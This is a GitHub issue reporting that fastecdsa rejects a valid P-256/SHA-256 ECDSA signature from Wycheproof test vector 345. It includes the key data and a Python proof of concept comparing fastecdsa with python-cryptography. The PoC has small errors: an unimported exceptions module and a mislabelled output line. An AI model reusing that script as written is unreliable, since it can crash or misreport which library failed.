Hello, When verifying a ECDSA signature (P-256, SHA-256) with a extreme value in k and s^-1, the verification fails even if the signature is correct. It is possible to check this using the Google Wycheproof test 345 (https://github.com/google/wycheproof/blob/master/testvectors/ecdsa_secp256r1_sha256_test.json): ``` { "key" : { "curve" : "secp256r1", "keySize" : 256, "type" : "EcPublicKey", "uncompressed" : "04c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e", "wx" : "00c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107", "wy" : "00bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e" }, "keyDer" : "3059301306072a8648ce3d020106082a8648ce3d03010703420004c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e", "keyPem" : "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAExqdxUnAkIneSFwpvju5zW/Mrf5iv\nZp6tKZgC4y18MQe8O0teZauIe700NXKz5WGSYf46Bz4v/XhBL3JoZ9tYng==\n-----END PUBLIC KEY-----", "sha" : "SHA-256", "type" : "EcdsaVerify", "tests" : [ { "tcId" : 345, "comment" : "extreme value for k and s^-1", "msg" : "313233343030", "sig" : "304502207cf27b188d034f7e8a52380304b51ac3c08969e277f21b35a60b48fc47669978022100b6db6db6249249254924924924924924625bd7a09bec4ca81bcdd9f8fd6b63cc", "result" : "valid", "flags" : [] } ] }, ``` I've added a PoC using fast-ecdsa and python-cryptography (below). ``` #!/usr/bin/env python3 """ $ python3 -m pip freeze | grep -i fastecdsa fastecdsa==2.1.1 $ python3 Python 3.7.3 (default, Oct 7 2019, 12:56:13) [GCC 8.3.0] on linux """ from fastecdsa import keys, curve, ecdsa from fastecdsa.curve import P256 from fastecdsa.encoding.sec1 import SEC1Encoder from fastecdsa.encoding.der import DEREncoder from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.hazmat.primitives.asymmetric import utils from hashlib import sha256 import json import sys import binascii def import_key_string(key_str: str, curve= P256, public: bool = False, decoder=SEC1Encoder): data = bytearray.fromhex(key_str) if public: return decoder.decode_public_key(data, curve) else: return decoder.decode_private_key(data) """ { "key" : { "curve" : "secp256r1", "keySize" : 256, "type" : "EcPublicKey", "uncompressed" : "04c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e", "wx" : "00c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107", "wy" : "00bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e" }, "keyDer" : "3059301306072a8648ce3d020106082a8648ce3d03010703420004c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e", "keyPem" : "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAExqdxUnAkIneSFwpvju5zW/Mrf5iv\nZp6tKZgC4y18MQe8O0teZauIe700NXKz5WGSYf46Bz4v/XhBL3JoZ9tYng==\n-----END PUBLIC KEY-----", "sha" : "SHA-256", "type" : "EcdsaVerify", "tests" : [ { "tcId" : 345, "comment" : "extreme value for k and s^-1", "msg" : "313233343030", "sig" : "304502207cf27b188d034f7e8a52380304b51ac3c08969e277f21b35a60b48fc47669978022100b6db6db6249249254924924924924924625bd7a09bec4ca81bcdd9f8fd6b63cc", "result" : "valid", "flags" : [] } ] }, """ ### using fast-ecdsa public_key = import_key_string("04c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e", curve=P256, public=True, decoder=SEC1Encoder) decoded_r, decoded_s = DEREncoder.decode_signature(bytearray.fromhex("304502207cf27b188d034f7e8a52380304b51ac3c08969e277f21b35a60b48fc47669978022100b6db6db6249249254924924924924924625bd7a09bec4ca81bcdd9f8fd6b63cc")) msg = bytearray.fromhex("313233343030") valid = ecdsa.verify((decoded_r, decoded_s), msg, public_key) print("Result fast-ecdsa:", valid) ### using python cryptography curve = ec.SECP256R1() algo = ec.ECDSA(hashes.SHA256()) pubnum = ec.EllipticCurvePublicNumbers( int("00c6a771527024227792170a6f8eee735bf32b7f98af669ead299802e32d7c3107", 16), int("00bc3b4b5e65ab887bbd343572b3e5619261fe3a073e2ffd78412f726867db589e", 16), curve) data = bytes(bytearray.fromhex("313233343030")) public_key = pubnum.public_key(default_backend()) signature = bytes(bytearray.fromhex("304502207cf27b188d034f7e8a52380304b51ac3c08969e277f21b35a60b48fc47669978022100b6db6db6249249254924924924924924625bd7a09bec4ca81bcdd9f8fd6b63cc")) try: public_key.verify(signature, data, ec.ECDSA(hashes.SHA256())) except cryptography.exceptions.InvalidSignature: print("Result fast-ecdsa:", "False") else: print("Result cryptography.io:", "True") ``` Best regards, Antonio

ECDSA verification fails for extreme value in k and s^-1 (P-256, SHA-256)

https://api.github.com/repos/AntonKueltz/fastecdsa/issues/52/comments

4

2020-04-13T15:05:16Z

2020-05-26T07:55:47Z

https://github.com/AntonKueltz/fastecdsa/issues/52

598,941,747

52

1,251